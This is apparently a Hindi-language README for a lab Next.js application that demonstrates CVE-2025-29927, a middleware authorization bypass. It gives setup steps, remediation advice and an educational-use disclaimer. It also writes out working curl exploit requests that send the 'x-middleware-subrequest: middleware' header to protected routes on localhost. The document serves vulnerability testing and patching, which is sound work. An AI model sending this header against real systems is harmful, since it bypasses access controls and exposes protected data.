
CVE-2025-29927 का परीक्षण और प्रदर्शन करता है, जो Next.js मिडलवेयर प्राधिकरण बाईपास है। इसमें शोषण और सामान्य पहुंच परीक्षण स्क्रिप्ट, साथ ही निवारण मार्गदर्शन शामिल है।
यह एप्लिकेशन Next.js मिडलवेयर प्राधिकरण बायपास भेद्यता (CVE-2025-29927) को प्रदर्शित करता है।
CVE-2025-29927 Next.js मिडलवेयर में एक प्राधिकरण बायपास भेद्यता है। एक विशेष रूप से तैयार किया गया HTTP हेडर (x-middleware-subrequest) भेजकर, एक हमलावर मिडलवेयर में लागू प्राधिकरण जांच को बायपास कर सकता है, संभावित रूप से संरक्षित संसाधनों तक पहुँच प्राप्त कर सकता है।
निर्भरताएँ स्थापित करें:
cd /var/www/react-nextjs/test-middleware-skip
npm install
डेवलपमेंट सर्वर चलाएँ:
npm run dev
सर्वर http://localhost:3000 पर शुरू होगा
संरक्षित रूट तक सामान्य रूप से पहुँचने का प्रयास करें:
npm run test-normal
या
curl -v http://localhost:3000/protected-data
आपको 401 अनधिकृत प्रतिक्रिया मिलनी चाहिए, क्योंकि मिडलवेयर पहुँच को ब्लॉक करता है।
एक्सप्लॉइट हेडर के साथ संरक्षित रूट तक पहुँचने का प्रयास करें:
npm run test-exploit
या
curl -v -H "x-middleware-subrequest: middleware" http://localhost:3000/protected-data
यदि एप्लिकेशन असुरक्षित है, तो आपको संरक्षित डेटा के साथ 200 OK प्रतिक्रिया प्राप्त होगी।
सामान्य पहुँच (ब्लॉक होनी चाहिए):
curl -v http://localhost:3000/api/protected
एक्सप्लॉइट के साथ:
curl -v -H "x-middleware-subrequest: middleware" http://localhost:3000/api/protected
इस भेद्यता को ठीक करने के लिए, आपको निम्नलिखित करना चाहिए:
Next.js को पैच किए गए संस्करण में अपडेट करें:
यदि आप अपडेट नहीं कर सकते, तो एक रिवर्स प्रॉक्सी (जैसे Nginx या Cloudflare) लागू करें जो इनकमिंग अनुरोधों से x-middleware-subrequest हेडर को हटा देता है।
जाँचें कि क्या API रूट असुरक्षित है:
# सामान्य अनुरोध (ब्लॉक होना चाहिए)
curl -v http://localhost:3000/api/protected
# एक्सप्लॉइट हेडर के साथ
curl -v -H "x-middleware-subrequest: middleware" http://localhost:3000/api/protected
यह उपकरण केवल शैक्षिक और सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान किया गया है। इसका उपयोग यह सत्यापित करने के लिए करें कि आपके अपने Next.js एप्लिकेशन असुरक्षित हैं और पैचिंग की आवश्यकता है।